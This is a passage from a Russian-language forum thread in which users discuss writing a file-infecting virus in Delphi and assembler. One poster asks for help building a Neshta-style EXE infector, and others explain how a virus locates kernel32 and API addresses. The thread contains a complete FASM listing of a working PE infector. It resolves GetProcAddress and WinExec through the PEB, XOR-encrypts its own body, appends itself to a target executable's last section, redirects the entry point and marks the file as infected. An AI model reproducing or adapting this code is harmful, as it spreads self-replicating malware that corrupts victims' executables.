/dev/AVR, я писал свободно на делфи %) в принципе проблемы те же что и на асме %)
адресно-називисимый exe
Хм... Конечно нет. Если же ты не знаешь, то скажу, что любая программа использует API.
Вызов идет не минуя таблицу импорта. Компилятор сам все делает(настраивает таблицу импорта) при компиляции программы.
А по скольку вирь можно кинуть в любое(в пределах разумногоадресное пространство, он "не знает" знает ни одной функции. По-тому и придуманы различные техники определения адресов импортируемых ф-ций.
Т.е. Pascal тоже использует WinAPI?Даже этот код использует API.Код:program xz; begin write('asd'); end;
В каком смысле? Если ты пишешь, к примеру, чтоб она 2 числа склыдывала, то да. Любая программа выдает свои рез-ты(или получает параметры), использует API.
Т.е. Pascal тоже использует WinAPI?
Никакого. Имеется ввиду, что любой вирь должен знать как минимум 2 фун-ции(LoadLibrary,GetProcAddress), для своей нормальной работы. У него есть 2 варианта: либо искать в таблицы импорта зараженного exe, либо искать базу кернела, а там уже искать ф-цию.
Хмм...
http://slil.ru/23081157Скомпелируй программу TurboPascal'ем и вышли мне
Как пересечёмся - стукнуНу или стучи в асю разберёмся![]()
Почкму ты не хочешь меня понять... Любая программа использует API даже только потому что любой программе есть конец - ExitProcess().
Приведи пример. Вот простой пример - каждая программа должна "общаться" с пользователем, это она делает по средствам ввода/вывода. А как организовывается этот ввод/вывод? Только с помощью тех функций, которая предлагает тебе Винда.
Постваь бряк на строку "writeln('asd');", открой дебаг-окно(Ctrl+Alt+C), и трассируй с заходом в процедуры. Можно увидеть, что строка "writeln()" вызывает API kernel.WriteFile.
Да. Но минус(для вирусописателей) в том, что она разная на разных сервиспаков, даже после какого-нибудь обновления база меняется.
unit rxtypes;
interface
uses Windows;
const
IMAGE_DOS_SIGNATURE = $5A4D; { MZ }
IMAGE_OS2_SIGNATURE = $454E; { NE }
IMAGE_OS2_SIGNATURE_LE = $454C; { LE }
IMAGE_VXD_SIGNATURE = $454C; { LE }
IMAGE_NT_SIGNATURE = $00004550; { PE00 }
IMAGE_SIZEOF_SHORT_NAME = 8;
IMAGE_SIZEOF_SECTION_HEADER = 40;
IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16;
IMAGE_RESOURCE_NAME_IS_STRING = $80000000;
IMAGE_RESOURCE_DATA_IS_DIRECTORY = $80000000;
IMAGE_OFFSET_STRIP_HIGH = $7FFFFFFF;
type
PIMAGE_DOS_HEADER = ^IMAGE_DOS_HEADER;
IMAGE_DOS_HEADER = packed record { DOS .EXE header }
e_magic : WORD; { Magic number }
e_cblp : WORD; { Bytes on last page of file }
e_cp : WORD; { Pages in file }
e_crlc : WORD; { Relocations }
e_cparhdr : WORD; { Size of header in paragraphs }
e_minalloc : WORD; { Minimum extra paragraphs needed }
e_maxalloc : WORD; { Maximum extra paragraphs needed }
e_ss : WORD; { Initial (relative) SS value }
e_sp : WORD; { Initial SP value }
e_csum : WORD; { Checksum }
e_ip : WORD; { Initial IP value }
e_cs : WORD; { Initial (relative) CS value }
e_lfarlc : WORD; { File address of relocation table }
e_ovno : WORD; { Overlay number }
e_res : packed array [0..3] of WORD; { Reserved words }
e_oemid : WORD; { OEM identifier (for e_oeminfo) }
e_oeminfo : WORD; { OEM information; e_oemid specific }
e_res2 : packed array [0..9] of WORD; { Reserved words }
e_lfanew : Longint; { File address of new exe header }
end;
PIMAGE_FILE_HEADER = ^IMAGE_FILE_HEADER;
IMAGE_FILE_HEADER = packed record
Machine : WORD;
NumberOfSections : WORD;
TimeDateStamp : DWORD;
PointerToSymbolTable : DWORD;
NumberOfSymbols : DWORD;
SizeOfOptionalHeader : WORD;
Characteristics : WORD;
end;
PIMAGE_DATA_DIRECTORY = ^IMAGE_DATA_DIRECTORY;
IMAGE_DATA_DIRECTORY = packed record
VirtualAddress : DWORD;
Size : DWORD;
end;
PIMAGE_OPTIONAL_HEADER = ^IMAGE_OPTIONAL_HEADER;
IMAGE_OPTIONAL_HEADER = packed record
{ Standard fields. }
Magic : WORD;
MajorLinkerVersion : Byte;
MinorLinkerVersion : Byte;
SizeOfCode : DWORD;
SizeOfInitializedData : DWORD;
SizeOfUninitializedData : DWORD;
AddressOfEntryPoint : DWORD;
BaseOfCode : DWORD;
BaseOfData : DWORD;
{ NT additional fields. }
ImageBase : DWORD;
SectionAlignment : DWORD;
FileAlignment : DWORD;
MajorOperatingSystemVersion : WORD;
MinorOperatingSystemVersion : WORD;
MajorImageVersion : WORD;
MinorImageVersion : WORD;
MajorSubsystemVersion : WORD;
MinorSubsystemVersion : WORD;
Reserved1 : DWORD;
SizeOfImage : DWORD;
SizeOfHeaders : DWORD;
CheckSum : DWORD;
Subsystem : WORD;
DllCharacteristics : WORD;
SizeOfStackReserve : DWORD;
SizeOfStackCommit : DWORD;
SizeOfHeapReserve : DWORD;
SizeOfHeapCommit : DWORD;
LoaderFlags : DWORD;
NumberOfRvaAndSizes : DWORD;
DataDirectory : packed array [0..IMAGE_NUMBEROF_DIRECTORY_ENTRIES-1] of IMAGE_DATA_DIRECTORY;
end;
PIMAGE_SECTION_HEADER = ^IMAGE_SECTION_HEADER;
IMAGE_SECTION_HEADER = packed record
Name : packed array [0..IMAGE_SIZEOF_SHORT_NAME-1] of Char;
PhysicalAddress : DWORD; // or VirtualSize (union);
VirtualAddress : DWORD;
SizeOfRawData : DWORD;
PointerToRawData : DWORD;
PointerToRelocations : DWORD;
PointerToLinenumbers : DWORD;
NumberOfRelocations : WORD;
NumberOfLinenumbers : WORD;
Characteristics : DWORD;
end;
PIMAGE_NT_HEADERS = ^IMAGE_NT_HEADERS;
IMAGE_NT_HEADERS = packed record
Signature : DWORD;
FileHeader : IMAGE_FILE_HEADER;
OptionalHeader : IMAGE_OPTIONAL_HEADER;
end;
{ Resources }
PIMAGE_RESOURCE_DIRECTORY = ^IMAGE_RESOURCE_DIRECTORY;
IMAGE_RESOURCE_DIRECTORY = packed record
Characteristics : DWORD;
TimeDateStamp : DWORD;
MajorVersion : WORD;
MinorVersion : WORD;
NumberOfNamedEntries : WORD;
NumberOfIdEntries : WORD;
end;
PIMAGE_RESOURCE_DIRECTORY_ENTRY = ^IMAGE_RESOURCE_DIRECTORY_ENTRY;
IMAGE_RESOURCE_DIRECTORY_ENTRY = packed record
Name: DWORD; // Or ID: Word (Union)
OffsetToData: DWORD;
end;
PIMAGE_RESOURCE_DATA_ENTRY = ^IMAGE_RESOURCE_DATA_ENTRY;
IMAGE_RESOURCE_DATA_ENTRY = packed record
OffsetToData : DWORD;
Size : DWORD;
CodePage : DWORD;
Reserved : DWORD;
end;
PIMAGE_RESOURCE_DIR_STRING_U = ^IMAGE_RESOURCE_DIR_STRING_U;
IMAGE_RESOURCE_DIR_STRING_U = packed record
Length : WORD;
NameString : array [0..0] of WCHAR;
end;
{
/* Predefined resource types */
#define RT_NEWRESOURCE 0x2000
#define RT_ERROR 0x7fff
#define RT_CURSOR 1
#define RT_BITMAP 2
#define RT_ICON 3
#define RT_MENU 4
#define RT_DIALOG 5
#define RT_STRING 6
#define RT_FONTDIR 7
#define RT_FONT 8
#define RT_ACCELERATORS 9
#define RT_RCDATA 10
#define RT_MESSAGETABLE 11
#define RT_GROUP_CURSOR 12
#define RT_GROUP_ICON 14
#define RT_VERSION 16
#define RT_NEWBITMAP (RT_BITMAP|RT_NEWRESOURCE)
#define RT_NEWMENU (RT_MENU|RT_NEWRESOURCE)
#define RT_NEWDIALOG (RT_DIALOG|RT_NEWRESOURCE)
}
type
TResourceType = (
rtUnknown0,
rtCursorEntry,
rtBitmap,
rtIconEntry,
rtMenu,
rtDialog,
rtString,
rtFontDir,
rtFont,
rtAccelerators,
rtRCData,
rtMessageTable,
rtCursor,
rtUnknown13,
rtIcon,
rtUnknown15,
rtVersion);
{ Resource Type Constants }
const
StringsPerBlock = 16;
{ Resource Related Structures from RESFMT.TXT in WIN32 SDK }
type
PIconHeader = ^TIconHeader;
TIconHeader = packed record
wReserved: Word; { Currently zero }
wType: Word; { 1 for icons }
wCount: Word; { Number of components }
end;
PIconResInfo = ^TIconResInfo;
TIconResInfo = packed record
bWidth: Byte;
bHeight: Byte;
bColorCount: Byte;
bReserved: Byte;
wPlanes: Word;
wBitCount: Word;
lBytesInRes: DWORD;
wNameOrdinal: Word; { Points to component }
end;
PCursorResInfo = ^TCursorResInfo;
TCursorResInfo = packed record
wWidth: Word;
wHeight: Word;
wPlanes: Word;
wBitCount: Word;
lBytesInRes: DWORD;
wNameOrdinal: Word; { Points to component }
end;
implementation
end.
народ вобщем хочу написать вирь на делфе кто знает как релизовать одну функцию виря кароче мне нужно чтобы он работал как Neshta беларуский вирус вобщем надо чтобы этот вирь заражал exe файлы как выше упомянутый вирь и ваще возможноли это на делфе народ памагите срочно нужно.
unit rxtypes;
interface
uses Windows;
const
IMAGE_DOS_SIGNATURE = $5A4D; { MZ }
IMAGE_OS2_SIGNATURE = $454E; { NE }
IMAGE_OS2_SIGNATURE_LE = $454C; { LE }
IMAGE_VXD_SIGNATURE = $454C; { LE }
IMAGE_NT_SIGNATURE = $00004550; { PE00 }
IMAGE_SIZEOF_SHORT_NAME = 8;
IMAGE_SIZEOF_SECTION_HEADER = 40;
IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16;
IMAGE_RESOURCE_NAME_IS_STRING = $80000000;
IMAGE_RESOURCE_DATA_IS_DIRECTORY = $80000000;
IMAGE_OFFSET_STRIP_HIGH = $7FFFFFFF;
type
PIMAGE_DOS_HEADER = ^IMAGE_DOS_HEADER;
IMAGE_DOS_HEADER = packed record { DOS .EXE header }
e_magic : WORD; { Magic number }
e_cblp : WORD; { Bytes on last page of file }
e_cp : WORD; { Pages in file }
e_crlc : WORD; { Relocations }
e_cparhdr : WORD; { Size of header in paragraphs }
e_minalloc : WORD; { Minimum extra paragraphs needed }
e_maxalloc : WORD; { Maximum extra paragraphs needed }
e_ss : WORD; { Initial (relative) SS value }
e_sp : WORD; { Initial SP value }
e_csum : WORD; { Checksum }
e_ip : WORD; { Initial IP value }
e_cs : WORD; { Initial (relative) CS value }
e_lfarlc : WORD; { File address of relocation table }
e_ovno : WORD; { Overlay number }
e_res : packed array [0..3] of WORD; { Reserved words }
e_oemid : WORD; { OEM identifier (for e_oeminfo) }
e_oeminfo : WORD; { OEM information; e_oemid specific }
e_res2 : packed array [0..9] of WORD; { Reserved words }
e_lfanew : Longint; { File address of new exe header }
end;
PIMAGE_FILE_HEADER = ^IMAGE_FILE_HEADER;
IMAGE_FILE_HEADER = packed record
Machine : WORD;
NumberOfSections : WORD;
TimeDateStamp : DWORD;
PointerToSymbolTable : DWORD;
NumberOfSymbols : DWORD;
SizeOfOptionalHeader : WORD;
Characteristics : WORD;
end;
PIMAGE_DATA_DIRECTORY = ^IMAGE_DATA_DIRECTORY;
IMAGE_DATA_DIRECTORY = packed record
VirtualAddress : DWORD;
Size : DWORD;
end;
PIMAGE_OPTIONAL_HEADER = ^IMAGE_OPTIONAL_HEADER;
IMAGE_OPTIONAL_HEADER = packed record
{ Standard fields. }
Magic : WORD;
MajorLinkerVersion : Byte;
MinorLinkerVersion : Byte;
SizeOfCode : DWORD;
SizeOfInitializedData : DWORD;
SizeOfUninitializedData : DWORD;
AddressOfEntryPoint : DWORD;
BaseOfCode : DWORD;
BaseOfData : DWORD;
{ NT additional fields. }
ImageBase : DWORD;
SectionAlignment : DWORD;
FileAlignment : DWORD;
MajorOperatingSystemVersion : WORD;
MinorOperatingSystemVersion : WORD;
MajorImageVersion : WORD;
MinorImageVersion : WORD;
MajorSubsystemVersion : WORD;
MinorSubsystemVersion : WORD;
Reserved1 : DWORD;
SizeOfImage : DWORD;
SizeOfHeaders : DWORD;
CheckSum : DWORD;
Subsystem : WORD;
DllCharacteristics : WORD;
SizeOfStackReserve : DWORD;
SizeOfStackCommit : DWORD;
SizeOfHeapReserve : DWORD;
SizeOfHeapCommit : DWORD;
LoaderFlags : DWORD;
NumberOfRvaAndSizes : DWORD;
DataDirectory : packed array [0..IMAGE_NUMBEROF_DIRECTORY_ENTRIES-1] of IMAGE_DATA_DIRECTORY;
end;
PIMAGE_SECTION_HEADER = ^IMAGE_SECTION_HEADER;
IMAGE_SECTION_HEADER = packed record
Name : packed array [0..IMAGE_SIZEOF_SHORT_NAME-1] of Char;
PhysicalAddress : DWORD; // or VirtualSize (union);
VirtualAddress : DWORD;
SizeOfRawData : DWORD;
PointerToRawData : DWORD;
PointerToRelocations : DWORD;
PointerToLinenumbers : DWORD;
NumberOfRelocations : WORD;
NumberOfLinenumbers : WORD;
Characteristics : DWORD;
end;
PIMAGE_NT_HEADERS = ^IMAGE_NT_HEADERS;
IMAGE_NT_HEADERS = packed record
Signature : DWORD;
FileHeader : IMAGE_FILE_HEADER;
OptionalHeader : IMAGE_OPTIONAL_HEADER;
end;
{ Resources }
PIMAGE_RESOURCE_DIRECTORY = ^IMAGE_RESOURCE_DIRECTORY;
IMAGE_RESOURCE_DIRECTORY = packed record
Characteristics : DWORD;
TimeDateStamp : DWORD;
MajorVersion : WORD;
MinorVersion : WORD;
NumberOfNamedEntries : WORD;
NumberOfIdEntries : WORD;
end;
PIMAGE_RESOURCE_DIRECTORY_ENTRY = ^IMAGE_RESOURCE_DIRECTORY_ENTRY;
IMAGE_RESOURCE_DIRECTORY_ENTRY = packed record
Name: DWORD; // Or ID: Word (Union)
OffsetToData: DWORD;
end;
PIMAGE_RESOURCE_DATA_ENTRY = ^IMAGE_RESOURCE_DATA_ENTRY;
IMAGE_RESOURCE_DATA_ENTRY = packed record
OffsetToData : DWORD;
Size : DWORD;
CodePage : DWORD;
Reserved : DWORD;
end;
PIMAGE_RESOURCE_DIR_STRING_U = ^IMAGE_RESOURCE_DIR_STRING_U;
IMAGE_RESOURCE_DIR_STRING_U = packed record
Length : WORD;
NameString : array [0..0] of WCHAR;
end;
{
/* Predefined resource types */
#define RT_NEWRESOURCE 0x2000
#define RT_ERROR 0x7fff
#define RT_CURSOR 1
#define RT_BITMAP 2
#define RT_ICON 3
#define RT_MENU 4
#define RT_DIALOG 5
#define RT_STRING 6
#define RT_FONTDIR 7
#define RT_FONT 8
#define RT_ACCELERATORS 9
#define RT_RCDATA 10
#define RT_MESSAGETABLE 11
#define RT_GROUP_CURSOR 12
#define RT_GROUP_ICON 14
#define RT_VERSION 16
#define RT_NEWBITMAP (RT_BITMAP|RT_NEWRESOURCE)
#define RT_NEWMENU (RT_MENU|RT_NEWRESOURCE)
#define RT_NEWDIALOG (RT_DIALOG|RT_NEWRESOURCE)
}
type
TResourceType = (
rtUnknown0,
rtCursorEntry,
rtBitmap,
rtIconEntry,
rtMenu,
rtDialog,
rtString,
rtFontDir,
rtFont,
rtAccelerators,
rtRCData,
rtMessageTable,
rtCursor,
rtUnknown13,
rtIcon,
rtUnknown15,
rtVersion);
{ Resource Type Constants }
const
StringsPerBlock = 16;
{ Resource Related Structures from RESFMT.TXT in WIN32 SDK }
type
PIconHeader = ^TIconHeader;
TIconHeader = packed record
wReserved: Word; { Currently zero }
wType: Word; { 1 for icons }
wCount: Word; { Number of components }
end;
PIconResInfo = ^TIconResInfo;
TIconResInfo = packed record
bWidth: Byte;
bHeight: Byte;
bColorCount: Byte;
bReserved: Byte;
wPlanes: Word;
wBitCount: Word;
lBytesInRes: DWORD;
wNameOrdinal: Word; { Points to component }
end;
PCursorResInfo = ^TCursorResInfo;
TCursorResInfo = packed record
wWidth: Word;
wHeight: Word;
wPlanes: Word;
wBitCount: Word;
lBytesInRes: DWORD;
wNameOrdinal: Word; { Points to component }
end;
implementation
end.
А дальше как это использовать то что в делфи что в асме одинаково!Синтаксис разный!
А теперь просто переведи вот это:
format PE GUI 4.0
include 'include\win32a.inc'
section '.main' code readable writeable
vir_start:
call delta
delta:
pop ebp
mov eax,ebp
sub eax,delta
je .next0
call crypt_all
.next0:
jmp start_crypt1
start_crypt1:
mov eax,[fs:30h]
mov eax,[eax+0Ch]
mov eax,[eax+1Ch]
mov eax,[eax]
mov eax,[eax+8h]
mov edx,eax
mov [ebp+k_base-delta],edx
mov ebx,[eax+3Ch]
add ebx,edx
add eax,[ebx+78h]
push eax
mov esi,edx
add esi,[eax+20h]
mov ebx,edx
add ebx,[eax+24h]
mov eax,[eax+18h]
cld
search:
push esi
mov esi,[esi]
add esi,edx
lea edi,[ebp+_GetProcAddress-delta]
mov ecx,7
repz cmpsw
pop esi
jecxz hurra
add esi,4
inc eax
inc ebx
inc ebx
jne search
hurra:
movzx eax,word [ebx]
rol eax,2
pop ebx
mov esi,[ebx+1Ch]
add esi,edx
add esi,eax
mov esi,[esi]
add esi,edx
mov [ebp+pGetProcAddress-delta],esi
lea eax,[ebp+_test-delta]
push 1
push eax
lea eax,[ebp+_WinExec-delta]
call get_API
call eax
_push db 068h
EIPs dd ?
_ret db 0C3h
get_API:
push eax
lea eax,[ebp+k_base-delta]
push dword [eax]
call [ebp+pGetProcAddress-delta]
ret
_test db 'Tcpview.exe',0
k_base dd ?
_GetProcAddress db 'GetProcAddress',0
pGetProcAddress dd ?
_WinExec db 'WinExec',0
end_crypt1:
crypt_all:
pusha
lea esi,[ebp+start_crypt1-delta]
mov edi,esi
mov ecx,(end_crypt1-start_crypt1)
.crypt0:
lodsb
xor al,75
stosb
dec ecx
jne .crypt0
popa
ret
vir_end:
;--------------------------------------------------------------------------------;
; [infect]
;--------------------------------------------------------------------------------;
proc infect,hfile,virsize
locals
hFO dd ?
FSizeL dd ?
hFM dd ?
pFM dd ?
file_align dd ?
endl
invoke CreateFile,[hfile],0C0000000h,0,0,3,0,0
mov [hFO],eax
inc eax
jz close_file
invoke GetFileSize,eax,0
mov ecx,eax
push ecx
xor ebx,ebx
crFM:
mov eax,[hFO]
invoke CreateFileMapping,eax,NULL,PAGE_READWRITE,0,ecx,NULL
test eax,eax
jz close_file
mov [hFM],eax
MVF:
invoke MapViewOfFile,eax,FILE_MAP_ALL_ACCESS,0,0,0
test eax,eax
jz zeroid
mov [pFM],eax
test ebx,ebx
jnz dali_bude
cmp word [eax],'MZ'
jne UVF
add eax,[eax+3Ch]
cmp word [eax],'PE'
jne UVF
cmp dword [eax+44h],'VIR '
je UVF
mov ecx,[eax+3ch]
mov [file_align],ecx
inc ebx
jmp UVF
step1:
mov eax,[virsize]
stdcall aligning,[file_align]
al_done:
pop ecx
add ecx,eax
jmp crFM
dali_bude:
push eax
add eax,[eax+3ch]
push eax
movzx ecx,word [eax+6]
jmp last_sec_find
ls_found:
pop esi
mov eax,dword [esi+28h]
add eax,dword [esi+34h]
mov dword [EIPs],eax
pop eax
push esi
push edi
mov edi,[edi+10h]
lea edi,[ebx+edi]
add edi,eax
mov ecx,[virsize]
lea esi,[vir_start]
call _crypt_all
rep movsb
pop edi
pop esi
mov eax,dword[edi+0ch]
add eax,dword [edi+10h]
mov dword [esi+28h],eax
mov eax,[virsize]
stdcall aligning,[file_align]
add dword [edi+10h],eax
add dword [edi+8],eax
mov eax,[edi+0ch]
add eax,dword [edi+8]
mov dword [esi+50h],eax
mov dword [esi+44h],'VIR '
xor ebx,ebx
UVF:
invoke UnmapViewOfFile,[pFM]
invoke CloseHandle,[hFM]
test ebx,ebx
jnz step1
close_file:
invoke CloseHandle,[hFO]
invoke ExitProcess,0
last_sec_find:
movzx edi,word [eax+14h]
lea eax,[eax+edi+18h]
mov ebx,[eax+14h]
mov edx,[eax+0ch]
scoffs:
mov dword[eax+24h],0A0000020h
cmp ebx,[eax+14h]
ja shvrva
mov ebx,[eax+14h]
mov esi,eax
shvrva:
cmp edx,[eax+0ch]
ja nextobj
mov edx,[eax+0ch]
mov edi,eax
nextobj:
add eax,28h
loop scoffs
cmp esi,edi
je ls_found
pop eax
pop eax
jmp zeroid
zeroid:
xor ebx,ebx
jmp UVF
endp
;--------------------------------------------------------------------------------;
; [aligning]
;--------------------------------------------------------------------------------;
proc aligning,size_align
mov ecx,[size_align]
dec ecx
add eax,ecx
not ecx
and eax,ecx
ret
endp
_crypt_all:
pusha
lea esi,[start_crypt1]
mov edi,esi
mov ecx,(end_crypt1-start_crypt1)
.crypt0:
lodsb
xor al,75
stosb
dec ecx
jne .crypt0
popa
ret
filename db 'scanner.exe',0
VIR_SIZE = vir_end-vir_start
entry $
stdcall infect,filename,VIR_SIZE
ret
data import
library kernel32,'KERNEL32.DLL',\
user32,'USER32.DLL'
include 'include\APIA\kernel32.inc'
include 'include\APIA\user32.inc'
end data
разрешите вас спросить, вы девушка или просто опечатались?Я не знала что они там описаны!Извиняюсь!
не заметил.. ) не удивительно... но уж больно она мне одного человека напоминает.Она во всех топегах в женском роде о себе говорит. Но я не верю![]()
добавил. )PS Тег code рулит
кошмар, правда?Т.е. Pascal тоже использует WinAPI?
+1Хочу тебя огорчить и сказать, что на Делфи Сишнеге и асемблере мир клином не сошёлся. Существует масса других языков и технологий на которых пишутся полноценные проекты без единой апи.
не обязательно должен быть ExitProcess.Почкму ты не хочешь меня понять... Любая программа использует API даже только потому что любой программе есть конец smile.gif - ExitProcess().
ы. базу ядра можно найти в сегменте, чей селектор лежит в FSДа. Но минус(для вирусописателей) в том, что она разная на разных сервиспаков, даже после какого-нибудь обновления база меняется.